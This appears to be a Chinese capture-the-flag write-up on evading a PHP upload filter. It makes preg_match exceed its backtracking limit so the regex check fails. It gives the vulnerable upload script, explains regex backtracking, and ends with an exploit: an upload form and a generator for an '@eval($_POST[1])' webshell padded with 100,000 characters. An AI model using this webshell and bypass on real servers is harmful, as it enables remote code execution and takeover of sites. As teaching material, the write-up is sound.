案例代码
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is',$data);
}
if(empty($_FILES)) {
die(show_source(__FILE__)) ;
}
$user_dir = './data/';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo 'bad request';
} else {
@mkdir($user_dir, 0777) ;
$path = $user_dir . '/' . random_int(0,10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path) ;
header ("Location: $path", true, 303) ;
}
?>
我们需要上传webshell来控制后台,但是is_php()函数对文件内容做了正则检测;关键点就是需要突破正则检测。
分析
非贪婪匹配原理:
源字符串: aaab,正则: .?b 匹配过程开始的时候,"?“首先取得匹配控制权,因为是非贪婪模式,所以优先 不匹配,将匹配控制交给下一个匹配字符"b”, “b"在源字符串位置1(从左往右)匹配失败 (“a”),于是回溯,将匹配控制交回给”.?"
这个时候,".?“在位置1匹配一个字符"a”, 并再次将控制权交给"b","b"继续在位置2匹配,如此反复,最终得到匹配结果。
刚开始匹配 ”<?“ ,然后碰到了贪婪匹配会把后面所有的都给匹配上,再继续到中括号中的匹配,因为后面没有内容了,于是开始回溯匹配,直到匹配到中括号内的字符。
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit,获取PHP正则的回溯次数(默认次数是一百万)
preg_match()函数会返回匹配次数,分别是0次(不匹配)和1次,但是如果回溯次数超过一百万次就会返回false。则通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。
EXP
# 题解
# 需要先构造一个文件上传页面
<html>
<body>
<form action="http://xx.xx.xx.xx/php/pcrewaf.php" method="P0ST" enctype="multipart/form-data">
<h3> Test upload tmp file</h3>
<label for="file">Filename:</label>
<input type="file" name="file"/><br/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
# 构造一个能回溯超过一百万次的webshell文件
<?php
$webshell = "<?php @eval($_POST[1]);".str_repeat('a', 100000);
file_put_contents('exp.php', $webshell);
?>